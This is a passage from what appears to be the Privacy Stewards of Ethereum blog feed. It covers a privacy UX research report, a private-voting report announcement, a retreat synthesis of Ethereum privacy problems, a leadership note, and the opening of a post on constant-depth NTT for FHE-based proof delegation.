project) and integrate **verifiable trust mechanisms** like on-chain proofs or audit links. ### **Pattern 3: Overly Technical Setup and Cognitive Overload** _Behavior: Participants found setup flows fragmented, verbose, or opaque, especially when required to buy ENS, deploy tokens, or manage RPCs._ - Even power users noted "a ton of clicks and signatures" with little feedback on what each did. - Non-technical users struggled to understand why new wallets, seeds, or denominations were needed. **Quotes:** > "There were a ton of clicks and signatures, I didn't even know what I was agreeing to." > "Why do I need to buy an ENS just to test?" ![Snapshot UI](/articles/privacy-experience-report/Snapshot UI_2.webp) Snapshot UI ![Snapshot UI](/articles/privacy-experience-report/Snapshot UI_3.webp) Snapshot UI > "I would never trust online generated seed, that's the basic of crypto security." ![Privacy Pool UI](/articles/privacy-experience-report/Privacy Pool UI.webp) Privacy Pools UI **Design implication:** → Simplify setup with **guided onboarding**, **progressive disclosure**, and **test modes** for safe experimentation. ### **Pattern 4: Usability Frictions: Defaults, Navigation, and Feedback** _Behavior: Users struggled with hidden controls, unclear defaults, and missing confirmations._ - Privacy options were buried ("tiny text in the Voting tab"). - Defaults often undermined privacy ("Any" = public). - Feedback was fleeting or unclear ("confirmation disappears too fast"). **Quotes:** > "Defaults matter, it should default to shielded." > "Where are the privacy controls? It's just this tiny text." ![Snapshot/Shutter UI](/articles/privacy-experience-report/Snapshot_Shutter UI_1.webp) Snapshot/Shutter UI > "If it's private by default, that's perfect. I shouldn't have to think about it." ![Flashbot UI](/articles/privacy-experience-report/Flashbot UI_1.webp) Flashbot UI **Design implication:** → Adopt **privacy-by-default**, ensure **clear visual status indicators**, and maintain **persistent confirmation messages** for key actions. ### **Pattern 5: Verification Anxiety and Fear of Loss** _Behavior: Users feared doing irreversible or unverified actions (e.g., sending funds or proofs without visible confirmation)._ - Several wanted test modes or dry runs before risking real funds. - Even confident users double-checked contract addresses or waited to see funds reappear. **Quotes:** > "There's no testing mode. I wouldn't send 1 ETH through something untested." ![Flashbot UI](/articles/privacy-experience-report/Flashbot UI_2.webp) Flashbot UI > "I want to see the contract before confirming the transaction." ![Etherscan of Privacy Pool tx](/articles/privacy-experience-report/Etherscan of Privacy Pool tx.webp) Etherscan of Privacy Pools tx ![Privacy Pool contract on Etherscan](/articles/privacy-experience-report/Privacy Pool contract on Etherscan.webp) Privacy Pools contract on Etherscan > "I wouldn't download something random, even on this machine." ![Railgun UI](/articles/privacy-experience-report/Railgun UI_1.webp) Railgun UI **Design implication:** → Provide **sandbox or test networks**, **verifiable confirmations**, and **transaction visibility before finalization**. ### **Pattern 6: Context-Specific Privacy Motivation** _Behavior: Motivation to use privacy tools varied by context._ - Some wanted privacy for governance (voting), others only for large transfers or identity separation. - "Compliant privacy" was seen by technical users as "not real privacy." **Quotes:** > "Compliant privacy is like giving up, it's not really privacy at all." > "For large fund transfers I'd plan ahead, so waiting isn't a big issue." ![Privacy Pool UI](/articles/privacy-experience-report/Privacy Pool UI_2.webp) Privacy Pools UI **Design implication:** → Offer **flexible privacy levels** and **context-aware defaults** that adapt to intent (e.g., governance vs payments). ### **Pattern 7: Educational Gaps and Mental Model Mismatches** _Behavior: Even advanced users struggled to articulate how features like stealth addresses, shielded voting, or relayers work._ - Ambiguous labels ("Power user," "Shielded," "ASP") created anxiety or alienation. - Users appreciated inline explanations and step-by-step guidance. **Quotes:** > "A normal user probably doesn't know what stealth addresses are, even I'm not sure I could define it." ![Fluidkey UI](/articles/privacy-experience-report/Fluidkey UI_3.webp) Fluidkey UI > "'Power user' makes me feel like maybe I'm not technical enough." ![Fluidkey UI](/articles/privacy-experience-report/Fluidkey UI_4.webp) Fluidkey UI **Design implication:** → Use **layered education** (simple upfront, expandable detail), avoid jargon, and provide **interactive onboarding tours**. ### **Pattern 8: Desired Qualities in Privacy Tools** _Behavior: Across all interviews, users consistently valued:_ - **Transparency:** showing what's happening - **Control:** ability to verify and customize - **Safety nets:** test modes, confirmations, and clear recovery paths - **Reputation & longevity:** older, audited, widely used projects feel safer **Quotes:** > "Anything that makes me feel a little bit more safe is important, like links to audits, social proof." ![Fluidkey UI](/articles/privacy-experience-report/Fluidkey UI_5.webp) Fluidkey UI > "Older apps that have been around longer feel safer." **Design implication:** → Frame privacy as _trustable infrastructure_ , emphasizing stability, safety, and proof over abstraction. ## Map to pain points vs opportunities and provide design suggestions _Summarize the themes we identified as pain points and opportunities_ | Theme | Core Pain Point | Design Opportunity | | ----------------------------- | ------------------------------- | ----------------------------------------- | | 1. Clarity of privacy scope | Users can't tell what's private | Add visible privacy indicators | | 2. Trust verification | Users rely on brand, not proof | Include audits and on-chain verifiability | | 3. Technical friction | Setup is complex | Simplify and guide onboarding | | 4. Default behaviors | Wrong defaults expose users | Privacy-by-default UI | | 5. Fear of loss | Lack of testing or visibility | Provide test mode and confirmations | | 6. Varying privacy motivation | Context-dependent needs | Offer adaptive privacy modes | | 7. Education & communication | Jargon-heavy UX | Layered explanations, plain language | ## **Call to Action: Shaping the Future of On-Chain Privacy** This research is an open invitation to the ecosystem. We hope designers, developers, researchers, and privacy advocates can collaborate in addressing the challenges uncovered here. **Contribute to Future Work:** 1. **Identify Technical Challenges** Many user pain points appear UX-related but are rooted in deep technical limitations. Building verifiable privacy, safe testing, and seamless defaults requires cryptographic innovation, infrastructure evolution, and better developer tooling. 2. **Expand Quantitative Understanding** Complement this qualitative study with large-scale quantitative analysis (We're actively collecting responses at Devconnect! Fill out [the survey here](https://pad.ethereum.org/form/#/2/form/view/IFZv0NuHEXd-eqIBh0o+C88F9V6+WVcBGKEb1d2LJcE/) for us to better understand your perspective on privacy tools). Measure and prioritize privacy needs, attitudes, and usage barriers across user segments. Like technical vs. non-technical, high vs. low privacy motivation, guiding where investment will have the most impact. 3. **Prototype and Share Solutions** Pilot "privacy-by-default" interfaces, testnet-safe flows, and verifiable trust cues. Publish learnings openly to accelerate shared progress. 4. **Build an Open Privacy UX Community** If you're a designer, developer, or researcher passionate about privacy experience, contribute ideas, case studies, or experiments. Together, we can make privacy a _default expectation,_ but not an afterthought. 5. **Broaden Role and Feature Coverage** This study focused on specific user roles and product features. For instance, DAO managers in governance tools or deposit flows in privacy wallets. Future research should explore the full ecosystem of participants and functionalities to provide a more holistic view of the Privacy Experience (PX) across contexts. ]]> privacy user experience privacy experience <![CDATA[State of Private Voting 2026]]> https://pse.dev/blog/state-of-private-voting-2026 https://pse.dev/blog/state-of-private-voting-2026 Wed, 12 Nov 2025 00:00:00 GMT <![CDATA[A blogpost announcement for the private voting protocols on Ethereum in 2026.]]> <![CDATA[ ## PDF Report The full PDF report can be accessed [**HERE**](https://pse.dev/articles/state-of-private-voting-2026/state-of-private-voting-2026-v2.pdf).

## Inside the Report Private voting is a critical component of decentralized governance, ensuring that participants can cast their votes without fear of coercion or retribution. As the landscape of decentralized autonomous organizations (DAOs) and on-chain elections continues to evolve, the need for robust private voting mechanisms becomes increasingly apparent. The [Shutter Network](https://www.shutter.network/) and PSE teams have prepared a report to provide an overview of the current state of private voting protocols on Ethereum, examining various solutions, their strengths and weaknesses, and recommendations for future development. The report covers the following areas: - The need for private voting - The challenges of private voting - In-depth analysis of private voting protocols, including: - [Freedom Tool](https://freedomtool.org/) - [MACI V3](https://maci.pse.dev/) - [Semaphore V4](https://semaphore.pse.dev/) - [Shutter - Shielded Voting](https://www.shutter.network/shielded-voting) - [SIV](https://siv.org/) - [Incendia](https://incendia.tech/) - [DAVINCI](https://davinci.vote/) - [Aragon/Aztec](https://research.aragon.org/nouns.html) - [Cicada](https://github.com/a16z/cicada) - [Enclave](https://www.enclave.gg/) - [Kite](https://arxiv.org/pdf/2501.05626) - [Shutter - Permanent Shielded Voting](https://www.shutter.network/shielded-voting) - Recommendations - Future work The following is a summary table comparing the different private voting protocols based on the defined properties. You can find more details and information in the full report. We have since published an update with new properties: "Quantum Resistance" and "Open Source", which you can read about in the full PDF. ![Private voting protocols comparison table](/articles/state-of-private-voting-2026/table.webp) We hope you find this report useful and informative as we continue to explore and develop private voting solutions for decentralized governance. We believe the community is doing an amazing job pushing the boundaries of this particular field, and we look forward to seeing how these protocols evolve. Reach out with your feedback, questions, or suggestions for future work in the comments on Twitter / X via [@zkMACI](https://twitter.com/zkMACI) or [@ShutterNetwork](https://x.com/ShutterNetwork). Privacy is normal. ]]>
privacy governance voting DAOs MACI
<![CDATA[PSE Retreat Synthesis Report]]> https://pse.dev/blog/pse-retreat-synthesis-report https://pse.dev/blog/pse-retreat-synthesis-report Wed, 08 Oct 2025 00:00:00 GMT <![CDATA[This report consolidates the findings of the June 2025 PSE retreat, where contributors across research, engineering, and product came together to identify, articulate, and structure the major open problems in privacy on Ethereum's application-layer.]]> <![CDATA[ # 1. Executive Summary ## 1.1 Overview This report consolidates the findings of the June 2025 PSE retreat, where contributors across research, engineering, and product came together to identify, articulate, and structure the major open problems in privacy on Ethereum's application-layer. It is not a exaustive list of what we have decided to work on (or not)- simply a synthesis of discussion and observations. We hope this will assist us with prioritising PSE's roadmap moving forward. ## 1.2 Key Outcomes - Eight core [problem clusters](https://www.notion.so/217d57e8dd7e80a5a37df44841717453?pvs=21) were articulated and explored through deep dives - A problem [taxonomy](https://docs.google.com/spreadsheets/d/1fvfft-zaSiswxA6PRmw7dfZ4zalhmqdDxfFUyt_nGR0/edit?gid=1257235120#gid=1257235120) structured by 10 sectors and 29 categories - 240+ [user stories](https://docs.google.com/spreadsheets/d/1fvfft-zaSiswxA6PRmw7dfZ4zalhmqdDxfFUyt_nGR0/edit?gid=714505087#gid=714505087) gathered and synthesized into actionable development themes - The emergence of shared challenges across sectors, such as Trust UX, Key management, and Identity - Validation for existing research initiatives - Preliminary prioritization and alignment with EF-wide initiatives --- # 2. Framing the Problem Space: Scope, Limits, and Approach ## 2.1 Problem Scope Ethereum privacy is a vast and multifaceted domain, arguably as expansive as the Ethereum ecosystem itself. Our initial [ecosystem research](https://www.notion.so/Overview-of-Privacy-on-Ethereum-Ecosystem-21ad57e8dd7e80ec9475f76d17d55b61?pvs=21) revealed the need to strategically narrow our scope and apply a problem-first methodology tailored to the Foundation’s remit. To maintain focus, certain areas, such as Ecosystem coordination and governance, were deliberately excluded during the retreat and retroactively added. Ongoing PSE research initiatives like Client Side Proving (CSP), Private Information Retrieval (PIR), Verifiable Oblivious Pseudorandom Functions (vORPF), Verifiable Fully Homomorphic Encryption (vFHE), and Indistinguishable Obfuscation (IO) were not explored in the problem scoping phase, but [apply](https://hackmd.io/@clientsideproving/PSE-Retreat-06-25) to multiple problem sectors. The evolution of this research informs how we design privacy protocols, anticipate privacy scaling challenges, and understand cryptographic primitives that may eventually underpin the next generation of private applications. ## 2.2 Selective Depth In domains like identity and private RPCs, existing research and prior team experience enabled precise problem definitions and well-articulated user stories. In contrast, broader areas such as private transactions and private DeFi proved more challenging, both in defining the problem space and in identifying actionable user stories. These domains revealed gaps in collective knowledge and highlighted the need for continued research. ## 2.3 Problem Articulation To ensure alignment between real-world needs and technical development, we grounded each problem sector with concrete user stories. The stories were derived from retreat discussions, prior research, in-retreat user testing, and domain experience. Over the next few weeks, we will be refining and prioritizing this list. See our evolving model of [problem-driven resource allocation](https://www.notion.so/Explore-models-for-PSE-Subtractive-R-D-lab-20dd57e8dd7e8004ae32ffc36b70fe16?pvs=21) and the full list of user stories [here](https://docs.google.com/spreadsheets/d/1fvfft-zaSiswxA6PRmw7dfZ4zalhmqdDxfFUyt_nGR0/edit?gid=714505087#gid=714505087). --- # 3. Problem Taxonomy: Sector and Category Overview This next section elaborates on the description of each problem area. Where appropriate, needs, requirements, and potential solutions are explored. ![image](/articles/pse-retreat-synthesis-report/taxonomy.webp) --- ## 3.1 Ecosystem Coordination ### 3.1.1 Stewardship Stewardship refers to the cultural responsibility to embed privacy as a core Ethereum value. While technical tools exist, many projects underinvest in user-facing privacy features due to a lack of incentives, guidance, or community norms. Active stewardship means promoting best practices, actively reviewing EIPs, sharing privacy metrics, and aligning developer and user mindsets around end-to-end privacy as a default expectation. ### 3.1.2 Specifications Specifications define the shared expectations for how core privacy and identity systems should behave. The Ethereum ecosystem lacks specifications for critical privacy flows in identity, wallet UX, and transactions, which leads to inconsistent tooling and fragmented user experiences. Clearer, [cross-domain specifications](https://github.com/zkspecs/zkspecs) can help ensure composability and accelerate standard adoption. ### 3.1.3 Standards Standards serve as formalized protocols; examples include ERCs, credential formats, W3C, and [IETF drafts](https://datatracker.ietf.org/doc/draft-zkproof-polycommit/). They are essential for enabling secure engineering practices, compliance requirements, and institutional adoption across the privacy ecosystem. A concerted effort is needed to coordinate the ecosystem to rally behind unified standards to drive them through standardization bodies. --- ## 3.2 Education ### 3.2.1 Resource & Curation Refers to publicly [accessible tools](https://github.com/web3privacy/web3privacy), explainers, [dashboards](https://ethereumdashboards.com/), and [learning materials](https://ethereum.org/en/) that help developers and can help users make informed choices. Currently, there is a noticeable gap in materials that clearly explain cryptographic primitives, their practical applications, and associated privacy tradeoffs. For governments and institutions, there is a particular need for well-structured, non-technical documentation tailored to policymakers, covering legal frameworks, regulatory implications, and deployment strategies. Developers and institutions often face decision paralysis when evaluating tools or selecting privacy-preserving design patterns, exacerbated by limited awareness of available options. Thoughtful curation can accelerate adoption by increasing visibility and signaling which tools align with Ethereum's privacy values. --- ## 3.3 Governance ### 3.3.1 Private Voting Private voting refers to the ability of participants to cast votes without revealing their choices or identities, assuring that their votes are untraceable and protected from coercion, retaliation, or bribery. This requires protocols that support anonymity, auditability, revocable votes, and compatibility with anonymous credentials, without compromising usability or scalability. ### 3.3.2 Private Delegation Delegation workflows are frequently exposed onchain, and stakeholders expressed a desire for mechanisms that allow voting power to be delegated without revealing links between delegators and delegates. Systems must enable revocable, unlinkable, and flexible delegation patterns that work within current DAO frameworks and trust models, such as the upgrade of token standards like [ERC20Votes](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Votes.sol). ### 3.3.3 DAO Administration DAOs increasingly manage sensitive operations such as contributor permissions, proposal lifecycles, and internal decision-making. Current tooling leaves these workflows fully transparent, which can jeopardize security. User stories highlighted the need for private multisig execution, modular privacy, and anonymized administrative tasks to bring privacy into core governance operations. --- ## 3.4 [Identity](https://www.notion.so/Private-Identity-211d57e8dd7e80d3ad6ae06a25307b2e?pvs=21) and [Credentials](https://www.notion.so/zkID-open-problems-1f3d57e8dd7e80668e81e4588cb0964c?pvs=21) This sector refers to the infrastructure and cryptographic mechanisms that allow users to privately issue, verify, and manage their identity. While digital identity systems have matured with zk wrappers and global nullifiers, ensuring end-to-end and everlasting privacy across all phases of the credential lifecycle remains [unsolved](https://github.com/eu-digital-identity-wallet/eudi-doc-standards-and-technical-specifications/blob/main/docs/technical-specifications/ts4-zkp.md) at scale. A truly pluralistic approach to identity has yet to emerge, one that accommodates diverse use cases, multiple dimensions, governance models, and degrees of decentralization. Key management problems, particularly recovery and delegation, differential privacy analysis, and threat modeling, are closely intertwined with identity. ### 3.4.1 Issuance This category covers verifiable credential formats, [VCDMs](https://www.w3.org/TR/vc-data-model-2.0/), [documents](https://pse.dev/blog/zkpdf-unlocking-verifiable-data), and attestations that represent identity claims. A core challenge is that most current issuance formats and processes lack unlinkability, exposing users to correlation risk. To address this, trust assumptions, particularly around hardware enclaves (TEEs), issuers, and [Levels of Assurance](https://ec.europa.eu/digital-building-blocks/sites/display/DIGITAL/eIDAS+Levels+of+Assurance), must be clearly articulated. Key areas for exploration include blind issuance, blind signatures, standardizing zkTLS proofs, and pushing for the adoption of digital signatures. ### 3.4.2 Presentation Presenting credentials securely involves more than just the use of zkps for selective disclosure. Plausible deniability for both issuance and presentation allows a user to convincingly deny having received or presented a particular credential. This requires that presentations cannot be cryptographically tied back to a specific issuer or presentation event. In practice, users often need to combine attributes from multiple credentials into a single proof or session-specific claim. Techniques such as recursion, ephemeral bindings, and the use of nullifiers are essential for enabling unlinkable, composable presentations with efficient on-chain verification. ### 3.4.3 Verification Trust minimised verification concerns how users prove claims to relying parties while preserving privacy and maintaining usability. These processes must strike a balance between user anonymity and legal auditability, ensuring data minimization without mass surveillance. Approaches such as MPC or key-share decryption offer potential for conditional transparency, but they require new infrastructure and governance models. Formal verification can also play a critical role in ensuring that verification protocols meet both cryptographic and regulatory requirements. ### 3.4.4 Revocation Privacy-preserving [revocation](https://hackmd.io/q-Gvdr1oSEuR9MXodDfVYA?view) is needed for expired, mis-issued, and compromised credentials. Existing solutions include [proof of non-inclusion](https://docs.iden3.io/protocol/spec/#revocation-tree), short expiry dates, public revocation lists, [CRset](https://arxiv.org/pdf/2501.17089), [Bitstring status list](https://www.w3.org/TR/vc-bitstring-status-list/), but many of these solutions fail to scale for national deployments and meet [compliance requirements](https://eu-digital-identity-wallet.github.io/eudi-doc-architecture-and-reference-framework/1.4.0/annexes/annex-2/annex-2-high-level-requirements/#a2338-topic-38-wallet-instance-revocation). There is a [need](https://github.com/decentralized-identity/labs/blob/main/proposals/beta-cohort-2-2025/pp-revocation-mechanism/001_proposal.md) for a solution that requires minimal changes to the issuer, low-bandwidth-low-compute for the holder, and offline requirements for the verifier. ### 3.4.5 Trust Registries Trust registries form the backbone of SSI. Current legal frameworks favor permissioned or consortium chains, like EBSI, inappropriate and limit the adoption of open decentralised networks. The fragmentation of trust registries will only be worsened by the rise of identity-specific L2s. We anticipate this will hinder interoperability, similar to general-purpose Ethereum L2s, having multiple identity L2s creates friction across trust domains. The Ethereum Foundation should play a key role in shifting policy to recognize public blockchains, as well as develop the trust services and frameworks surrounding them. --- ## [3.5 Key Management](https://www.notion.so/Key-Management-final-writeup-21ed57e8dd7e80bda81de09d2ba41b97?pvs=21) Key management encompasses how users securely control cryptographic keys linked to wallets and credentials. Emerging needs include Public Key Infrastructure (PKI) to support privacy-preserving guardianship or delegation solutions, deterministic key derivation tied to pseudonymous identifiers, and decentralized private key stores that don’t rely on trusted custodians. FHE key management in large distributed networks (e.g., rotating secret shares among thousands of nodes) is also an area for exploration. ### 3.5.1 Recovery Recovery involves regaining access to a wallet or credentials when a device is lost or compromised. Current approaches, like seed phrases or social recovery, have poor usability and introduce new privacy and trust risks. ### 3.5.2 Rotation Rotation refers to updating cryptographic keys over time to maintain forward secrecy and security. Key rotation with the use of stealth addresses is underexplored, and few applications provide end-to-end privacy-preserving key rotation without requiring the re-issuance of credentials. Delegated control (e.g., parent/child relationships or legal/medical proxies) is similarly underserved. Protocols need to support private key updates that preserve continuity for users, including support for verifiable delegation and role-based control. ### 3.5.3 Account Abstraction Smart accounts offer programmable control over assets and permissions, but this flexibility can come at a privacy cost. Mechanisms like delegated signing and paymasters may expose sensitive user behaviour to third parties, even though users retain self-custody. Future account abstraction frameworks must incorporate privacy-aware abstractions. Private account abstraction remains an unsolved challenge. --- ## 3.6 [Asset Management](https://www.notion.so/Private-Transaction-Notes-21cd57e8dd7e801bac1bc067ef601a31?pvs=21) Ethereum needs cash-like transfers that are practical in cost and resistant to censorship at the L1 level. The term "transaction" on Ethereum spans a wide range, including money transfers (ETH, ERC-20, ERC-721/1155), voting, identity interactions, and more. Within this broad category, it’s important to distinguish between two core privacy needs: - **Private transfer of data**: Hiding the _origin, destination, asset, and amount_ involved in a transaction. - **Private history**: Obscuring a user’s _transaction history, actions,_ and _asset correlations_ over time. Current tools addressing these needs are often siloed, expensive, or poorly integrated with wallets. There is also significant overlap with general key and asset management challenges. Techniques like MPC-based key control and standardized deterministic key derivation deserve further exploration to address these gaps. ### 3.6.1 Swap Swap refers to exchanging one asset for another without leaking trading intent or value. Privacy-preserving swaps are currently highly siloed. Most swaps today are vulnerable to MEV extraction and surveillance by third parties. ### 3.6.2 Transfer Private transfers using stealth addresses, one-time keys, and batching are still too UX complex and comparatively expensive for everyday use. --- ## 3.7 [Hardened Security](https://www.notion.so/Hardened-Security-Notes-21bd57e8dd7e808d9cbcec8f6265e947?pvs=21) Security is not a standalone feature; it must be woven into the mindset, practices, and culture of every privacy-preserving system. At PSE, we view security as foundational to every project, from protocol design to DevOps and deployment. This includes understanding application specific [privacy invariants](https://www.youtube.com/watch?v=_EmGKQR9oJg), non-negotiable guarantees about what data must always remain private, and exploring techniques like _differential privacy_. Strengthening threat modeling, formalizing these invariants, and adopting verifiable privacy guarantees will raise the bar for secure and trustworthy systems across the ecosystem. ### 3.7.1 Secure Engineering Secure engineering refers to rigorous development practices, including audits and transparent documentation, for both theoretical and implemented guarantees. Standard procedures to compile and compare files, process automation, and verified trusted setup contributions will contribute to the reproducibility of protocols. ### 3.7.2 Threat Modeling Effective privacy design depends on understanding the threat landscape. Many privacy projects fail to clearly articulate their [threat model](https://www.youtube.com/watch?v=_EmGKQR9oJg), which leads to mismatched user expectations and unexamined attack surfaces. Threat modeling should be embedded early in design processes and shared transparently with users, auditors, and integrators, helping teams align security guarantees with real-world risk ### 3.7.3 Post-Quantum Readiness Institutions, governments, and ecosystem partners are increasingly demanding post-quantum (PQ) security. Clear distinctions are needed between fully PQ-secure systems and those merely using PQ-safe cryptographic primitives, as well as between use cases like PII protection and authentication. Ethereum and many ZK protocols still lack defined upgrade paths for PQ readiness. Even if PSE does not invest resources here directly, maintaining awareness of emerging PQ-compatible primitives, such as STARKs and lattice-based schemes, will be critical for long-term resilience. ### 3.7.4 Formal Verification Formal verification involves mathematically proving that software behaves according to its specifications. While significant progress is being made at the L1, through projects like the [formal verification of zkEVM](https://verified-zkevm.org/), there remains a notable gap in applying these techniques to proof systems, circuits, smart contracts, client side proving, and application-layer protocols. Expanding formal methods across the stack is essential to ensure security, and compliance of privacy-preserving technologies built on Ethereum. --- ## 3.8 [VM Interaction](https://hackmd.io/@brech1/epor) Ethereum users are forced to choose between privacy (running their own node) and practicality (using RPC providers). Reconstruction of [subject identity](https://www.sciencedirect.com/topics/computer-science/subject-identity) (physical or onchain) from Ethereum state requests through queries, behavioral patterns, network metadata, and identity correlation remains a key fundamental privacy vulnerability. ### 3.8.1 Sequencing Sequencing defines the order in which transactions are included in blocks. It introduces privacy risks through MEV and front-running, as user intent becomes visible before execution ### 3.8.2 State Queries (Indexed) Indexed state queries include logs, event data, and token balances. Privacy-preserving access patterns fall into three general approaches: - **Visible Query – Obfuscated Identity**: Use network-level privacy tools (e.g., Tor, VPN) to hide identity while revealing the query. - **Obfuscated Query – Visible Identity**: Techniques like Private Information Retrieval (PIR) or TEEs with ORAM hide the query content from the provider. - **Rotating RPCs**: Distribute queries across multiple providers so no single party has complete visibility into user activity. ### 3.8.3 State Retrieval State retrieval refers to accessing the raw Ethereum state. Significant efforts from EF protocol teams are working on light clients, partial state nodes, [Portal network](https://ethereum.org/en/developers/docs/networking-layer/portal-network/)(retired), and [Statelessness](https://stateless.fyi/) contribute to lowering node requirements, providing a longer-term solution to private reads. --- ## 3.9 UX ### 3.9.1 [Trust Experience](https://stark.mirror.xyz/rkLEVz9p4r3ouusD-WCkWP_iVZYkZ0K7TFkzeRfiXCU) Trust UX refers to how users perceive the safety, credibility, and transparency of privacy tools across different technical and privacy-awareness levels. Users struggle to assess whether a tool is legitimate, safe to use, or respects their data, this is due to unclear permissions, inconsistent terminology, and a lack of discoverability. This erodes confidence across all user types, from general users to privacy-focused developers. ### 3.9.2 Proof Performance Proof performance refers to how efficiently zero-knowledge proofs can be generated client-side. Current constraints around memory, CPU, zkp-specific GPU acceleration, and bandwidth make client-side proving difficult to scale for real-world applications. Digital identity, private transactions, key management, zkTLS, DeFi, and even governance [all depend on this.](https://hackmd.io/@clientsideproving/PSE-Retreat-06-25) Application developers need standardized benchmarks and mobile-optimized libraries. Improving mobile proving performance is key to mainstreaming private Dapps on Ethereum. --- ## 3.10 DX ### 3.10.1 Developer Tooling Developer experience (DX) remains a major bottleneck for building privacy-preserving applications. Core gaps include reproducible builds, mobile-friendly libraries, test environments, and lifecycle tools to safely manage keys, attestations, and compliance logic. --- # 4. Ecosystem Research Gaps ## 4.1 [Client-Side Proving](https://hackmd.io/@clientsideproving/PSE-Retreat-06-25) Without performant client-side proving (CSP) or private delegate proving, sensitive data must be offloaded to remote servers, undermining privacy and introducing centralized trust dependencies. Enabling users to generate zero-knowledge proofs locally (on phones, browsers, or low-power devices) is critical for preserving end-to-end privacy and verifiability across identity, asset, and messaging. This demands research into fast, memory-efficient proving schemes, recursion, and benchmarks for post-quantum primitives. CSP research also informs critical system design choices across PSE, including proof system selection and development strategies in downstream initiatives. ## 4.2 [Practical IO](https://machina-io.com/posts/hello_world_first.html) Indistinguishability obfuscation (iO) is a cryptographic primitive that allows any program to be “opaque” so that it reveals nothing beyond its input-output behavior. Unlike [MPC or FHE](https://mirror.xyz/privacy-scaling-explorations.eth/nXUhkZ84ckZi_5mYRFCCKgkLVFAmM2ECdEFCQul2jPs), which face [privacy scalability issues](https://mirror.xyz/privacy-scaling-explorations.eth/nXUhkZ84ckZi_5mYRFCCKgkLVFAmM2ECdEFCQul2jPs), iO offers a non-interactive, trustless way to delegate secure computation, what Nick Szabo famously called a ["God protocol."](https://nakamotoinstitute.org/library/the-god-protocols/) Recent breakthroughs show iO is theoretically constructible from standard cryptographic assumptions. However, [current implementations](https://eprint.iacr.org/2020/1003.pdf) remain impractical due to the recursive use of functional encryption (FE). Despite this, iO represents a long-term research moonshot for Ethereum privacy: it promises future-proof, universal private computation with minimal trust assumptions, eliminating the need for centralized or persistent committees. For PSE, supporting early iO [research](https://eprint.iacr.org/2025/236) keeps us on the frontier of [what’s possible](https://machina-io.com/posts/hello_world_first.html), even if deployment is far off. ## 4.3 [Plasma Fold](https://hackmd.io/js8xrWW7Qr6aWeBUh0RXWA?view) Plasma Fold is a PSE research prototype that revives Plasma with folding-based incremental proofs. Each user locally generates a compact accumulator proof of their own balance—small enough to compute even on a mobile device. Onchain, only block roots, nullifiers, and a signer bitmap are published; no information about sender, receiver, or transfer amount is ever leaked. Because the system uses a UTXO format, which is inherently unlinkable, adding support for stealth outputs or encrypted notes is straightforward, offering a credible path toward fully private payments. This approach enables private transfers and stealth approvals with practical gas costs. Preliminary benchmarks suggest Plasma Fold can achieve up to 90,000 transactions per second with folding proofs. --- # 5. Next Steps Following the rounds of feedback we recieve from leadership and advisors, the next phase of work will focus on translating user stories into actionable development, coordination, and research effort. 1. **Publish and Invite Feedback** Release the v1 problem map to the ecosystem and solicit public input to refine priorities. 2. **Form Working Groups & Assign Ownership** Create focused working groups for high-priority areas, especially those tagged as "EF should support/coordinate" or "Ecosystem should own." Assign owners and begin drafting RFPs or collaboration scopes. 3. **Deep Scope Q3/Q4 Priorities** Roll up 240+ stories into epics for development effort. Begin in-depth scoping of PSE's Q3/Q4 roadmap. 4. **Coordinate with EF-Wide Initiatives** Align with broader Ethereum Foundation efforts, such as Trillion Dollar Security, formal verification, account abstraction, grant efforts, ecodev, and protocol privacy to avoid duplication.]]> retreat privacy ethereum <![CDATA[Thank You Sam, Welcome Andy and Igor]]> https://pse.dev/blog/a-thank-you https://pse.dev/blog/a-thank-you Wed, 01 Oct 2025 00:00:00 GMT <![CDATA[The PSE team thanks Sam Richards for his leadership and contributions, and welcomes Andy Guzman as the new lead and Igor Barinov as EF’s privacy coordinator.]]> <![CDATA[ With the [recent privacy leadership announcement](https://blog.ethereum.org/2025/10/01/privacy-cluster-leads), the PSE team wants to take a moment to give a huge thanks to [Sam Richards](https://x.com/samonchain) for his contributions as our team lead over this last years. PSE has gone through many changes since Barry Whitehat first built a team to explore the edges of applied cryptography. This past year, Sam has guided PSE from a collection of theory-led experiments to a team with a problem-first approach and privacy at its core. Sam led with clarity and dedication through the reorganization of the Ethereum Foundation earlier this year, and strengthened PSE’s role at a moment of uncertainty. He helped shape the roadmap to bring privacy from an abstract principle to a practical and essential path towards adoption. Sam also invested deeply in people—mentoring our team, encouraging us to step outside our bubble, and building bridges across the ecosystem. His leadership ensured that PSE could continue to grow with focus, alignment, and impact. We are so grateful for everything Sam has brought to PSE and wish him the very best in what comes next. We’re excited to continue building the future of privacy with [Andy Guzman](https://x.com/AndyGuzmanEth) as the new lead of PSE, and [Igor Barinov](https://x.com/barinov) as the coordinator of privacy at the Ethereum Foundation. Together, they will help carry forward the mission of making privacy normal and foundational for Ethereum.]]> PSE privacy Ethereum leadership <![CDATA[Constant-Depth NTT for FHE-Based Private Proof Delegation]]> https://pse.dev/blog/const-depth-ntt-for-fhe-based-ppd https://pse.dev/blog/const-depth-ntt-for-fhe-based-ppd Thu, 25 Sep 2025 00:00:00 GMT <![CDATA[We took benchmarks for constant depth NTT over FHE ciphertexts to see the feasibility of the state of the art FHE-based private proof delegation protocols.]]> <![CDATA[ Huge thanks to Keewoo and Nam for their sharp feedback, steady guidance, and countless practical suggestions that made this work stronger. # 1. Introduction FHE-SNARK is a compelling approach to private proof delegation: outsource zkSNARK proof generation to an untrusted server that homomorphically evaluates the prover’s algorithm, with the witness kept encrypted. A [recent work](https://eprint.iacr.org/2025/302) presents a cryptographic framework but without implementation and report only estimates on performance. In practice, that omission makes it hard to reason about feasibility and bottlenecks across the pipeline such as data parellelization or RAM/disks I/Os. This post fills one specific gap: a **constant‑depth NTT over FHE ciphertexts**. NTTs (finite‑field FFTs) underpin polynomial IOPs and commitments, and—mirroring how fast FFT/NTT‑style transforms dominate modern FHE bootstrapping pipelines—they are the main subroutine in [recent work](https://eprint.iacr.org/2025/302). Our contribution is to implement an FHE‑friendly instantiation, integrate it into an FHE flow, and benchmark it. ## What this post is (and isn’t) * **Is**: a focused, empirical clarification of the constant-depth NTT building block in an FHE-SNARK context. * **Isn’t**: an end-to-end benchmark of the full protocol, or a comparison of unrelated acceleration techniques. We are intentionally isolating one missing measurement. ## Why constant-depth? Depth drives noise growth and bootstrapping frequency. A standard log-depth NTT stacks multiplicative layers; a **constant-depth NTT** reorganizes butterflies and twiddle application so multiplicative depth is bounded (independent of input size), shifting costs toward data movement and plaintext twiddle loads. In our layout, all index movement is realized by 2D packing and plaintext 